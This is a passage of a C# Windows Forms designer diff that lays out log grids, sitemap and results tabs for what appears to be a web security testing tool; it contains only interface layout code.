this.ProbeLogGridColumnForMIME.HeaderText = "MIME"; + this.ProbeLogGridColumnForMIME.Name = "ProbeLogGridColumnForMIME"; + this.ProbeLogGridColumnForMIME.ReadOnly = true; + this.ProbeLogGridColumnForMIME.Width = 70; + // + // ProbeLogGridColumnForSetCookie + // + this.ProbeLogGridColumnForSetCookie.HeaderText = "SET-COOKIE"; + this.ProbeLogGridColumnForSetCookie.Name = "ProbeLogGridColumnForSetCookie"; + this.ProbeLogGridColumnForSetCookie.ReadOnly = true; + // + // OtherLogTab + // + this.OtherLogTab.Controls.Add(this.OtherLogsTabBaseSplit); + this.OtherLogTab.Location = new System.Drawing.Point(4, 22); + this.OtherLogTab.Margin = new System.Windows.Forms.Padding(0); + this.OtherLogTab.Name = "OtherLogTab"; + this.OtherLogTab.Size = new System.Drawing.Size(697, 154); + this.OtherLogTab.TabIndex = 6; + this.OtherLogTab.Text = " Other Logs "; + this.OtherLogTab.UseVisualStyleBackColor = true; + // + // OtherLogsTabBaseSplit + // + this.OtherLogsTabBaseSplit.Dock = System.Windows.Forms.DockStyle.Fill; + this.OtherLogsTabBaseSplit.FixedPanel = System.Windows.Forms.FixedPanel.Panel1; + this.OtherLogsTabBaseSplit.Location = new System.Drawing.Point(0, 0); + this.OtherLogsTabBaseSplit.Margin = new System.Windows.Forms.Padding(0); + this.OtherLogsTabBaseSplit.Name = "OtherLogsTabBaseSplit"; + // + // OtherLogsTabBaseSplit.Panel1 + // + this.OtherLogsTabBaseSplit.Panel1.Controls.Add(this.OtherLogSourceGrid); + // + // OtherLogsTabBaseSplit.Panel2 + // + this.OtherLogsTabBaseSplit.Panel2.Controls.Add(this.OtherLogGrid); + this.OtherLogsTabBaseSplit.Size = new System.Drawing.Size(697, 154); + this.OtherLogsTabBaseSplit.SplitterDistance = 142; + this.OtherLogsTabBaseSplit.SplitterWidth = 2; + this.OtherLogsTabBaseSplit.TabIndex = 0; + // + // OtherLogSourceGrid + // + this.OtherLogSourceGrid.AllowUserToAddRows = false; + this.OtherLogSourceGrid.AllowUserToDeleteRows = false; + this.OtherLogSourceGrid.AllowUserToOrderColumns = true; + this.OtherLogSourceGrid.AllowUserToResizeRows = false; + this.OtherLogSourceGrid.AutoSizeColumnsMode = System.Windows.Forms.DataGridViewAutoSizeColumnsMode.Fill; + this.OtherLogSourceGrid.BackgroundColor = System.Drawing.Color.White; + this.OtherLogSourceGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; + dataGridViewCellStyle14.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; + dataGridViewCellStyle14.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle14.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + dataGridViewCellStyle14.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle14.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle14.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle14.WrapMode = System.Windows.Forms.DataGridViewTriState.True; + this.OtherLogSourceGrid.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle14; + this.OtherLogSourceGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.DisableResizing; + this.OtherLogSourceGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.LogSource}); + this.OtherLogSourceGrid.ContextMenuStrip = this.LogMenu; + this.OtherLogSourceGrid.Dock = System.Windows.Forms.DockStyle.Fill; + this.OtherLogSourceGrid.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; + this.OtherLogSourceGrid.GridColor = System.Drawing.Color.White; + this.OtherLogSourceGrid.Location = new System.Drawing.Point(0, 0); + this.OtherLogSourceGrid.Margin = new System.Windows.Forms.Padding(0); + this.OtherLogSourceGrid.MultiSelect = false; + this.OtherLogSourceGrid.Name = "OtherLogSourceGrid"; + this.OtherLogSourceGrid.ReadOnly = true; + this.OtherLogSourceGrid.RowHeadersVisible = false; + this.OtherLogSourceGrid.RowHeadersWidth = 10; + this.OtherLogSourceGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; + this.OtherLogSourceGrid.Size = new System.Drawing.Size(142, 154); + this.OtherLogSourceGrid.TabIndex = 6; + this.OtherLogSourceGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.OtherLogSourceGrid_CellClick); + // + // LogSource + // + this.LogSource.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + dataGridViewCellStyle40.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(224)))), ((int)(((byte)(224)))), ((int)(((byte)(224))))); + this.LogSource.DefaultCellStyle = dataGridViewCellStyle40; + this.LogSource.HeaderText = "Select Log Source"; + this.LogSource.Name = "LogSource"; + this.LogSource.ReadOnly = true; + // + // OtherLogGrid + // + this.OtherLogGrid.AllowUserToAddRows = false; + this.OtherLogGrid.AllowUserToDeleteRows = false; + this.OtherLogGrid.AllowUserToOrderColumns = true; + this.OtherLogGrid.AllowUserToResizeRows = false; + this.OtherLogGrid.AutoSizeColumnsMode = System.Windows.Forms.DataGridViewAutoSizeColumnsMode.Fill; + this.OtherLogGrid.BackgroundColor = System.Drawing.Color.White; + this.OtherLogGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; + dataGridViewCellStyle15.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; + dataGridViewCellStyle15.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle15.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + dataGridViewCellStyle15.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle15.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle15.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle15.WrapMode = System.Windows.Forms.DataGridViewTriState.True; + this.OtherLogGrid.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle15; + this.OtherLogGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.DisableResizing; + this.OtherLogGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.LogGridColumnForID, + this.LogGridColumnForHostName, + this.LogGridColumnForMethod, + this.LogGridColumnForURL, + this.LogGridColumnForFile, + this.LogGridColumnForSSL, + this.LogGridColumnForParameters, + this.LogGridColumnForCode, + this.LogGridColumnForLength, + this.LogGridColumnForMIME, + this.LogGridColumnForSetCookie}); + this.OtherLogGrid.ContextMenuStrip = this.LogMenu; + this.OtherLogGrid.Dock = System.Windows.Forms.DockStyle.Fill; + this.OtherLogGrid.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; + this.OtherLogGrid.GridColor = System.Drawing.Color.White; + this.OtherLogGrid.Location = new System.Drawing.Point(0, 0); + this.OtherLogGrid.Margin = new System.Windows.Forms.Padding(0); + this.OtherLogGrid.MultiSelect = false; + this.OtherLogGrid.Name = "OtherLogGrid"; + this.OtherLogGrid.ReadOnly = true; + this.OtherLogGrid.RowHeadersVisible = false; + this.OtherLogGrid.RowHeadersWidth = 10; + this.OtherLogGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; + this.OtherLogGrid.Size = new System.Drawing.Size(553, 154); + this.OtherLogGrid.TabIndex = 6; + this.OtherLogGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.OtherLogGrid_CellClick); + this.OtherLogGrid.SelectionChanged += new System.EventHandler(this.OtherLogGrid_SelectionChanged); + // + // LogGridColumnForID + // + this.LogGridColumnForID.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.LogGridColumnForID.HeaderText = "ID"; + this.LogGridColumnForID.MinimumWidth = 50; + this.LogGridColumnForID.Name = "LogGridColumnForID"; + this.LogGridColumnForID.ReadOnly = true; + this.LogGridColumnForID.Width = 50; + // + // LogGridColumnForHostName + // + this.LogGridColumnForHostName.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.LogGridColumnForHostName.HeaderText = "HOSTNAME"; + this.LogGridColumnForHostName.Name = "LogGridColumnForHostName"; + this.LogGridColumnForHostName.ReadOnly = true; + this.LogGridColumnForHostName.Width = 120; + // + // LogGridColumnForMethod + // + this.LogGridColumnForMethod.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.LogGridColumnForMethod.HeaderText = "METHOD"; + this.LogGridColumnForMethod.Name = "LogGridColumnForMethod"; + this.LogGridColumnForMethod.ReadOnly = true; + this.LogGridColumnForMethod.Width = 60; + // + // LogGridColumnForURL + // + this.LogGridColumnForURL.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.LogGridColumnForURL.HeaderText = "URL"; + this.LogGridColumnForURL.MinimumWidth = 150; + this.LogGridColumnForURL.Name = "LogGridColumnForURL"; + this.LogGridColumnForURL.ReadOnly = true; + // + // LogGridColumnForFile + // + this.LogGridColumnForFile.HeaderText = "FILE"; + this.LogGridColumnForFile.Name = "LogGridColumnForFile"; + this.LogGridColumnForFile.ReadOnly = true; + // + // LogGridColumnForSSL + // + this.LogGridColumnForSSL.HeaderText = "SSL"; + this.LogGridColumnForSSL.Name = "LogGridColumnForSSL"; + this.LogGridColumnForSSL.ReadOnly = true; + // + // LogGridColumnForParameters + // + this.LogGridColumnForParameters.HeaderText = "PARAMETERS"; + this.LogGridColumnForParameters.Name = "LogGridColumnForParameters"; + this.LogGridColumnForParameters.ReadOnly = true; + // + // LogGridColumnForCode + // + this.LogGridColumnForCode.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.LogGridColumnForCode.HeaderText = "CODE"; + this.LogGridColumnForCode.Name = "LogGridColumnForCode"; + this.LogGridColumnForCode.ReadOnly = true; + this.LogGridColumnForCode.Width = 60; + // + // LogGridColumnForLength + // + this.LogGridColumnForLength.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.LogGridColumnForLength.HeaderText = "LENGTH"; + this.LogGridColumnForLength.Name = "LogGridColumnForLength"; + this.LogGridColumnForLength.ReadOnly = true; + this.LogGridColumnForLength.Width = 60; + // + // LogGridColumnForMIME + // + this.LogGridColumnForMIME.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.LogGridColumnForMIME.HeaderText = "MIME"; + this.LogGridColumnForMIME.Name = "LogGridColumnForMIME"; + this.LogGridColumnForMIME.ReadOnly = true; + this.LogGridColumnForMIME.Width = 70; + // + // LogGridColumnForSetCookie + // + this.LogGridColumnForSetCookie.HeaderText = "SET-COOKIE"; + this.LogGridColumnForSetCookie.Name = "LogGridColumnForSetCookie"; + this.LogGridColumnForSetCookie.ReadOnly = true; + // + // SiteMapLogTab + // + this.SiteMapLogTab.Controls.Add(this.SiteMapLogGrid); + this.SiteMapLogTab.Location = new System.Drawing.Point(4, 22); + this.SiteMapLogTab.Margin = new System.Windows.Forms.Padding(0); + this.SiteMapLogTab.Name = "SiteMapLogTab"; + this.SiteMapLogTab.Size = new System.Drawing.Size(697, 154); + this.SiteMapLogTab.TabIndex = 5; + this.SiteMapLogTab.Text = " Sitemap "; + this.SiteMapLogTab.UseVisualStyleBackColor = true; + // + // SiteMapLogGrid + // + this.SiteMapLogGrid.AllowUserToAddRows = false; + this.SiteMapLogGrid.AllowUserToDeleteRows = false; + this.SiteMapLogGrid.AllowUserToOrderColumns = true; + this.SiteMapLogGrid.AllowUserToResizeRows = false; + this.SiteMapLogGrid.AutoSizeColumnsMode = System.Windows.Forms.DataGridViewAutoSizeColumnsMode.Fill; + this.SiteMapLogGrid.BackgroundColor = System.Drawing.Color.White; + this.SiteMapLogGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; + dataGridViewCellStyle17.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; + dataGridViewCellStyle17.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle17.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + dataGridViewCellStyle17.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle17.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle17.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle17.WrapMode = System.Windows.Forms.DataGridViewTriState.True; + this.SiteMapLogGrid.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle17; + this.SiteMapLogGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.DisableResizing; + this.SiteMapLogGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.SiteMapLogGridColumnForID, + this.SiteMapLogGridColumnForSource, + this.SiteMapLogGridColumnForHost, + this.SiteMapLogGridColumnForMethod, + this.SiteMapLogGridColumnForURL, + this.SiteMapLogGridColumnForFile, + this.SiteMapLogGridColumnForSSL, + this.SiteMapLogGridColumnForParameters, + this.SiteMapLogGridColumnForCode, + this.SiteMapLogGridColumnForLength, + this.SiteMapLogGridColumnForMIME, + this.SiteMapLogGridColumnForSetCookie}); + this.SiteMapLogGrid.ContextMenuStrip = this.LogMenu; + this.SiteMapLogGrid.Dock = System.Windows.Forms.DockStyle.Fill; + this.SiteMapLogGrid.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; + this.SiteMapLogGrid.GridColor = System.Drawing.Color.White; + this.SiteMapLogGrid.Location = new System.Drawing.Point(0, 0); + this.SiteMapLogGrid.Margin = new System.Windows.Forms.Padding(0); + this.SiteMapLogGrid.MultiSelect = false; + this.SiteMapLogGrid.Name = "SiteMapLogGrid"; + this.SiteMapLogGrid.ReadOnly = true; + this.SiteMapLogGrid.RowHeadersVisible = false; + this.SiteMapLogGrid.RowHeadersWidth = 10; + this.SiteMapLogGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; + this.SiteMapLogGrid.Size = new System.Drawing.Size(697, 154); + this.SiteMapLogGrid.TabIndex = 7; + this.SiteMapLogGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.SiteMapLogGrid_CellClick); + this.SiteMapLogGrid.SelectionChanged += new System.EventHandler(this.SiteMapLogGrid_SelectionChanged); + // + // SiteMapLogGridColumnForID + // + this.SiteMapLogGridColumnForID.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.SiteMapLogGridColumnForID.HeaderText = "ID"; + this.SiteMapLogGridColumnForID.MinimumWidth = 50; + this.SiteMapLogGridColumnForID.Name = "SiteMapLogGridColumnForID"; + this.SiteMapLogGridColumnForID.ReadOnly = true; + this.SiteMapLogGridColumnForID.Width = 50; + // + // SiteMapLogGridColumnForSource + // + this.SiteMapLogGridColumnForSource.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.SiteMapLogGridColumnForSource.HeaderText = "SOURCE"; + this.SiteMapLogGridColumnForSource.MinimumWidth = 60; + this.SiteMapLogGridColumnForSource.Name = "SiteMapLogGridColumnForSource"; + this.SiteMapLogGridColumnForSource.ReadOnly = true; + this.SiteMapLogGridColumnForSource.Width = 60; + // + // SiteMapLogGridColumnForHost + // + this.SiteMapLogGridColumnForHost.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.SiteMapLogGridColumnForHost.HeaderText = "HOSTNAME"; + this.SiteMapLogGridColumnForHost.Name = "SiteMapLogGridColumnForHost"; + this.SiteMapLogGridColumnForHost.ReadOnly = true; + this.SiteMapLogGridColumnForHost.Width = 120; + // + // SiteMapLogGridColumnForMethod + // + this.SiteMapLogGridColumnForMethod.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.SiteMapLogGridColumnForMethod.HeaderText = "METHOD"; + this.SiteMapLogGridColumnForMethod.Name = "SiteMapLogGridColumnForMethod"; + this.SiteMapLogGridColumnForMethod.ReadOnly = true; + this.SiteMapLogGridColumnForMethod.Width = 60; + // + // SiteMapLogGridColumnForURL + // + this.SiteMapLogGridColumnForURL.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.SiteMapLogGridColumnForURL.HeaderText = "URL"; + this.SiteMapLogGridColumnForURL.MinimumWidth = 150; + this.SiteMapLogGridColumnForURL.Name = "SiteMapLogGridColumnForURL"; + this.SiteMapLogGridColumnForURL.ReadOnly = true; + // + // SiteMapLogGridColumnForFile + // + this.SiteMapLogGridColumnForFile.HeaderText = "FILE"; + this.SiteMapLogGridColumnForFile.Name = "SiteMapLogGridColumnForFile"; + this.SiteMapLogGridColumnForFile.ReadOnly = true; + // + // SiteMapLogGridColumnForSSL + // + this.SiteMapLogGridColumnForSSL.HeaderText = "SSL"; + this.SiteMapLogGridColumnForSSL.Name = "SiteMapLogGridColumnForSSL"; + this.SiteMapLogGridColumnForSSL.ReadOnly = true; + // + // SiteMapLogGridColumnForParameters + // + this.SiteMapLogGridColumnForParameters.HeaderText = "PARAMETERS"; + this.SiteMapLogGridColumnForParameters.Name = "SiteMapLogGridColumnForParameters"; + this.SiteMapLogGridColumnForParameters.ReadOnly = true; + // + // SiteMapLogGridColumnForCode + // + this.SiteMapLogGridColumnForCode.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.SiteMapLogGridColumnForCode.HeaderText = "CODE"; + this.SiteMapLogGridColumnForCode.Name = "SiteMapLogGridColumnForCode"; + this.SiteMapLogGridColumnForCode.ReadOnly = true; + this.SiteMapLogGridColumnForCode.Width = 60; + // + // SiteMapLogGridColumnForLength + // + this.SiteMapLogGridColumnForLength.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.SiteMapLogGridColumnForLength.HeaderText = "LENGTH"; + this.SiteMapLogGridColumnForLength.Name = "SiteMapLogGridColumnForLength"; + this.SiteMapLogGridColumnForLength.ReadOnly = true; + this.SiteMapLogGridColumnForLength.Width = 60; + // + // SiteMapLogGridColumnForMIME + // + this.SiteMapLogGridColumnForMIME.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.SiteMapLogGridColumnForMIME.HeaderText = "MIME"; + this.SiteMapLogGridColumnForMIME.Name = "SiteMapLogGridColumnForMIME"; + this.SiteMapLogGridColumnForMIME.ReadOnly = true; + this.SiteMapLogGridColumnForMIME.Width = 70; + // + // SiteMapLogGridColumnForSetCookie + // + this.SiteMapLogGridColumnForSetCookie.HeaderText = "SET-COOKIE"; + this.SiteMapLogGridColumnForSetCookie.Name = "SiteMapLogGridColumnForSetCookie"; + this.SiteMapLogGridColumnForSetCookie.ReadOnly = true; + // + // mt_results + // + this.mt_results.Controls.Add(this.ResultsTabMainSplit); + this.mt_results.Location = new System.Drawing.Point(4, 22); + this.mt_results.Margin = new System.Windows.Forms.Padding(0); + this.mt_results.Name = "mt_results"; + this.mt_results.Size = new System.Drawing.Size(705, 511); + this.mt_results.TabIndex = 6; + this.mt_results.Text = " Results "; + this.mt_results.UseVisualStyleBackColor = true; + // + // ResultsTabMainSplit + // + this.ResultsTabMainSplit.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.ResultsTabMainSplit.Dock = System.Windows.Forms.DockStyle.Fill; + this.ResultsTabMainSplit.Location = new System.Drawing.Point(0, 0); + this.ResultsTabMainSplit.Margin = new System.Windows.Forms.Padding(0); + this.ResultsTabMainSplit.Name = "ResultsTabMainSplit"; + this.ResultsTabMainSplit.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // ResultsTabMainSplit.Panel1 + // + this.ResultsTabMainSplit.Panel1.Controls.Add(this.ResultsDisplayRTB); + // + // ResultsTabMainSplit.Panel2 + // + this.ResultsTabMainSplit.Panel2.Controls.Add(this.ResultsTriggersMainSplit); + this.ResultsTabMainSplit.Size = new System.Drawing.Size(705, 511); + this.ResultsTabMainSplit.SplitterDistance = 269; + this.ResultsTabMainSplit.TabIndex = 0; + // + // ResultsDisplayRTB + // + this.ResultsDisplayRTB.BackColor = System.Drawing.SystemColors.Window; + this.ResultsDisplayRTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.ResultsDisplayRTB.Cursor = System.Windows.Forms.Cursors.IBeam; + this.ResultsDisplayRTB.DetectUrls = false; + this.ResultsDisplayRTB.Dock = System.Windows.Forms.DockStyle.Fill; + this.ResultsDisplayRTB.Font = new System.Drawing.Font("Palatino Linotype", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.ResultsDisplayRTB.Location = new System.Drawing.Point(0, 0); + this.ResultsDisplayRTB.Name = "ResultsDisplayRTB"; + this.ResultsDisplayRTB.ReadOnly = true; + this.ResultsDisplayRTB.ScrollBars = System.Windows.Forms.RichTextBoxScrollBars.Vertical; + this.ResultsDisplayRTB.Size = new System.Drawing.Size(703, 267); + this.ResultsDisplayRTB.TabIndex = 0; + this.ResultsDisplayRTB.TabStop = false; + this.ResultsDisplayRTB.Text = ""; + // + // ResultsTriggersMainSplit + // + this.ResultsTriggersMainSplit.Dock = System.Windows.Forms.DockStyle.Fill; + this.ResultsTriggersMainSplit.IsSplitterFixed = true; + this.ResultsTriggersMainSplit.Location = new System.Drawing.Point(0, 0); + this.ResultsTriggersMainSplit.Margin = new System.Windows.Forms.Padding(0); + this.ResultsTriggersMainSplit.Name = "ResultsTriggersMainSplit"; + // + // ResultsTriggersMainSplit.Panel1 + // + this.ResultsTriggersMainSplit.Panel1.Controls.Add(this.ResultsTriggersGrid); + // + // ResultsTriggersMainSplit.Panel2 + // + this.ResultsTriggersMainSplit.Panel2.Controls.Add(this.ResultsDisplayTabs); + this.ResultsTriggersMainSplit.Size = new System.Drawing.Size(703, 236); + this.ResultsTriggersMainSplit.SplitterDistance = 75; + this.ResultsTriggersMainSplit.SplitterWidth = 2; + this.ResultsTriggersMainSplit.TabIndex = 0; + // + // ResultsTriggersGrid + // + this.ResultsTriggersGrid.AllowUserToAddRows = false; + this.ResultsTriggersGrid.AllowUserToDeleteRows = false; + this.ResultsTriggersGrid.AllowUserToResizeRows = false; + this.ResultsTriggersGrid.BackgroundColor = System.Drawing.SystemColors.Window; + this.ResultsTriggersGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.ResultsTriggersGrid.ColumnHeadersBorderStyle = System.Windows.Forms.DataGridViewHeaderBorderStyle.None; + dataGridViewCellStyle18.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; + dataGridViewCellStyle18.BackColor = System.Drawing.SystemColors.Window; + dataGridViewCellStyle18.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + dataGridViewCellStyle18.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle18.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle18.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle18.WrapMode = System.Windows.Forms.DataGridViewTriState.True; + this.ResultsTriggersGrid.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle18; + this.ResultsTriggersGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.ResultsTriggersGrid.ColumnHeadersVisible = false; + this.ResultsTriggersGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.ResultsTriggerGridNumberColumn}); + this.ResultsTriggersGrid.ContextMenuStrip = this.LogMenu; + this.ResultsTriggersGrid.Dock = System.Windows.Forms.DockStyle.Fill; + this.ResultsTriggersGrid.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; + this.ResultsTriggersGrid.EnableHeadersVisualStyles = false; + this.ResultsTriggersGrid.GridColor = System.Drawing.Color.White; + this.ResultsTriggersGrid.Location = new System.Drawing.Point(0, 0); + this.ResultsTriggersGrid.Margin = new System.Windows.Forms.Padding(0); + this.ResultsTriggersGrid.MultiSelect = false; + this.ResultsTriggersGrid.Name = "ResultsTriggersGrid"; + this.ResultsTriggersGrid.RowHeadersBorderStyle = System.Windows.Forms.DataGridViewHeaderBorderStyle.None; + this.ResultsTriggersGrid.RowHeadersVisible = false; + this.ResultsTriggersGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; + this.ResultsTriggersGrid.Size = new System.Drawing.Size(75, 236); + this.ResultsTriggersGrid.TabIndex = 1; + this.ResultsTriggersGrid.SelectionChanged += new System.EventHandler(this.ResultsTriggersGrid_SelectionChanged); + // + // ResultsTriggerGridNumberColumn + // + this.ResultsTriggerGridNumberColumn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + dataGridViewCellStyle41.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; + this.ResultsTriggerGridNumberColumn.DefaultCellStyle = dataGridViewCellStyle41; + this.ResultsTriggerGridNumberColumn.HeaderText = "Triggers:"; + this.ResultsTriggerGridNumberColumn.Name = "ResultsTriggerGridNumberColumn"; + this.ResultsTriggerGridNumberColumn.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; + // + // ResultsDisplayTabs + // + this.ResultsDisplayTabs.Controls.Add(this.ResultsTriggerHighlightTab); + this.ResultsDisplayTabs.Controls.Add(this.ResultsRequestTab); + this.ResultsDisplayTabs.Controls.Add(this.ResultsResponseTab); + this.ResultsDisplayTabs.Controls.Add(this.ResultsTriggerToolsTab); + this.ResultsDisplayTabs.Controls.Add(this.ResultsHelpTab); + this.ResultsDisplayTabs.Dock = System.Windows.Forms.DockStyle.Fill; + this.ResultsDisplayTabs.Location = new System.Drawing.Point(0, 0); + this.ResultsDisplayTabs.Margin = new System.Windows.Forms.Padding(0); + this.ResultsDisplayTabs.Name = "ResultsDisplayTabs"; + this.ResultsDisplayTabs.Padding = new System.Drawing.Point(0, 0); + this.ResultsDisplayTabs.SelectedIndex = 0; + this.ResultsDisplayTabs.Size = new System.Drawing.Size(626, 236); + this.ResultsDisplayTabs.TabIndex = 3; + // + // ResultsTriggerHighlightTab + // + this.ResultsTriggerHighlightTab.Controls.Add(this.TriggerHighlightRTB); + this.ResultsTriggerHighlightTab.Location = new System.Drawing.Point(4, 22); + this.ResultsTriggerHighlightTab.Name = "ResultsTriggerHighlightTab"; + this.ResultsTriggerHighlightTab.Size = new System.Drawing.Size(618, 210); + this.ResultsTriggerHighlightTab.TabIndex = 2; + this.ResultsTriggerHighlightTab.Text = " Description "; + this.ResultsTriggerHighlightTab.UseVisualStyleBackColor = true; + // + // TriggerHighlightRTB + // + this.TriggerHighlightRTB.BackColor = System.Drawing.SystemColors.Window; + this.TriggerHighlightRTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.TriggerHighlightRTB.Cursor = System.Windows.Forms.Cursors.IBeam; + this.TriggerHighlightRTB.DetectUrls = false; + this.TriggerHighlightRTB.Dock = System.Windows.Forms.DockStyle.Fill; + this.TriggerHighlightRTB.Font = new System.Drawing.Font("Palatino Linotype", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.TriggerHighlightRTB.Location = new System.Drawing.Point(0, 0); + this.TriggerHighlightRTB.Name = "TriggerHighlightRTB"; + this.TriggerHighlightRTB.ReadOnly = true; + this.TriggerHighlightRTB.ScrollBars = System.Windows.Forms.RichTextBoxScrollBars.Vertical; + this.TriggerHighlightRTB.Size = new System.Drawing.Size(618, 210); + this.TriggerHighlightRTB.TabIndex = 0; + this.TriggerHighlightRTB.TabStop = false; + this.TriggerHighlightRTB.Text = ""; + // + // ResultsRequestTab + // + this.ResultsRequestTab.Controls.Add(this.ResultsRequestView); + this.ResultsRequestTab.Location = new System.Drawing.Point(4, 22); + this.ResultsRequestTab.Margin = new System.Windows.Forms.Padding(0); + this.ResultsRequestTab.Name = "ResultsRequestTab"; + this.ResultsRequestTab.Size = new System.Drawing.Size(618, 210); + this.ResultsRequestTab.TabIndex = 0; + this.ResultsRequestTab.Text = " Request "; + this.ResultsRequestTab.UseVisualStyleBackColor = true; + // + // ResultsRequestView + // + this.ResultsRequestView.BackColor = System.Drawing.Color.White; + this.ResultsRequestView.Dock = System.Windows.Forms.DockStyle.Fill; + this.ResultsRequestView.Location = new System.Drawing.Point(0, 0); + this.ResultsRequestView.Name = "ResultsRequestView"; + this.ResultsRequestView.ReadOnly = true; + this.ResultsRequestView.Size = new System.Drawing.Size(618, 210); + this.ResultsRequestView.TabIndex = 0; + // + // ResultsResponseTab + // + this.ResultsResponseTab.Controls.Add(this.ResultsResponseView); + this.ResultsResponseTab.Location = new System.Drawing.Point(4, 22); + this.ResultsResponseTab.Margin = new System.Windows.Forms.Padding(0); + this.ResultsResponseTab.Name = "ResultsResponseTab"; + this.ResultsResponseTab.Size = new System.Drawing.Size(618, 210); + this.ResultsResponseTab.TabIndex = 1; + this.ResultsResponseTab.Text = " Response "; + this.ResultsResponseTab.UseVisualStyleBackColor = true; + // + // ResultsResponseView + // + this.ResultsResponseView.BackColor = System.Drawing.Color.White; + this.ResultsResponseView.Dock = System.Windows.Forms.DockStyle.Fill; + this.ResultsResponseView.IncludeReflectionTab = true; + this.ResultsResponseView.Location = new System.Drawing.Point(0, 0); + 